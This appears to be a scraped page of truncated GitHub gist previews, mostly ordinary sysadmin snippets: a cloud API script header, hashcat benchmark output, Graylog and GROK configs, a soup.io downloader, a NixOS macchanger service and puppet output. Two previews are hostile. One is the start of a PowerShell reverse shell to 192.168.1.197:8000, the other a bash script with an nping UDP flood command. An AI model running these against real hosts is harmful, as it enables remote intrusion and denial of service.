- Hetzner KVM host
- VM with 6 vCPU
- Virtio nic (4 queues)
- FFMUC x86 offloader image
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env nix-shell | |
#! nix-shell -p jq -p bash -i bash | |
# Notes: | |
# Replace <MY TOKEN> with your API token | |
# Replace <NICKNAME> with the nickname of your instance | |
# Replace <HOSTNAME> with the hostname of your instance | |
# `vcpu-8_memory-16g_disk-80g` indicates the instance type; See https://developers.genesiscloud.com/instances#instance-types for details | |
# `6d5c3613-f6cb-48e1-8711-14f084060209` is the ID for the current default Ubuntu 16.04 image. Image IDs can be queried via the API: https://developers.genesiscloud.com/images#list-images | |
# `2b7ab082-e9f2-40f0-a410-a6337b6a6d42` is the ID for my previosly configured SSH pubkey. Key IDs can be queried via the API: https://developers.genesiscloud.com/ssh-keys#list-ssh-keys |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
~/hashcat$ sudo ./hashcat -d 9,10,11,12,13,14,15,16 -b | |
hashcat (v6.1.1-120-g15bf8b730) starting in benchmark mode... | |
Benchmarking uses hand-optimized kernel code by default. | |
You can use it in your cracking session by setting the -O option. | |
Note: Using optimized kernel code limits the maximum supported password length. | |
To disable the optimized kernel code in benchmark mode, use the -w option. | |
* Device #9: WARNING! Kernel exec timeout is not disabled. | |
This may cause "CL_OUT_OF_RESOURCES" or related errors. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="UTF-8"?> | |
<Configuration packages="org.graylog2.log4j" shutdownHook="disable"> | |
<Appenders> | |
<RollingFile name="rolling-file" fileName="/var/log/graylog-server/server.log" filePattern="/var/log/graylog-server/server.log.%i.gz"> | |
<PatternLayout pattern="%d{yyyy-MM-dd'T'HH:mm:ss.SSSXXX} %-5p [%c{1}] %m%n"/> | |
<Policies> | |
<SizeBasedTriggeringPolicy size="50MB"/> | |
</Policies> | |
<DefaultRolloverStrategy max="10" fileIndex="min"/> | |
</RollingFile> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$socket = new-object System.Net.Sockets.TcpClient('192.168.1.197', 8000); | |
if($socket -eq $null){exit 1} | |
$stream = $socket.GetStream(); | |
$writer = new-object System.IO.StreamWriter($stream); | |
$buffer = new-object System.Byte[] 1024; | |
$encoding = new-object System.Text.AsciiEncoding; | |
do | |
{ | |
$writer.Flush(); | |
$read = $null; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# GROK Custom Patterns (add to patterns directory and reference in GROK filter for iptables events): | |
# GROK Patterns for iptables Logging Format | |
# | |
# Created 6 Aug 2016 by Brian Turek <brian.turek@gmail.com> | |
# Most of this was taken from another source but now I cannot find it for credit | |
# | |
# Usage: Use the IPTABLES pattern | |
NETFILTERMAC %{MAC:dest_mac}:%{MAC:src_mac}:%{ETHTYPE:ethtype} | |
ETHTYPE (?:(?:[A-Fa-f0-9]{2}):(?:[A-Fa-f0-9]{2})) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
#...-- ....- -.-. ...-- | |
FLOODCMD="timeout 30 nping --udp --data-length=65300 -N --delay 0 -c 1000000 -H --quiet -6 <YOUR TARGET IP6>" | |
#### 3 | |
INITIALDATE=`date +%s` | |
STOPDATE1=$(($INITIALDATE + 300)) | |
STOPDATE2=$(($INITIALDATE + 720)) | |
STOPDATE3=$(($INITIALDATE + 1140)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# Author: Mike Herwig | |
# Description: Script for downloading all images posted on a soup (soup.io) | |
#where to download from | |
HOST="fadenb.soup.io" | |
#this is the regex for matching the images, you might want to update it when soup.io changes their urls | |
# 2017-02-14: Updated regex to catch new and old URLs |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
systemd = { | |
services = { | |
"macchanger-wireless" = { | |
description = "Changes MAC of my wireless interface for privacy reasons"; | |
wants = [ "network-pre.target" ]; | |
wantedBy = [ "multi-user.target" ]; | |
before = [ "network-pre.target" ]; | |
bindsTo = [ "sys-subsystem-net-devices-wlp3s0.device" ]; | |
after = [ "sys-subsystem-net-devices-wlp3s0.device" ]; | |
script = '' |
root@precise64:~# puppet apply -e '$case = $::osfamily ? { somethingelse => "FNORD", Debian => "upper case", debian => "lower case",} notify{"Result: ${case}":}'
Notice: Compiled catalog for precise64.muc.mayflower.de in environment production in 0.07 seconds
Notice: Result: upper case
Notice: /Stage[main]//Notify[Result: upper case]/message: defined 'message' as 'Result: upper case'
Notice: Finished catalog run in 0.05 seconds
root@precise64:~# puppet apply -e '$case = $::osfamily ? { somethingelse => "FNORD", debian => "L case", Debian => "U case",} notify{"Result: ${case}":}'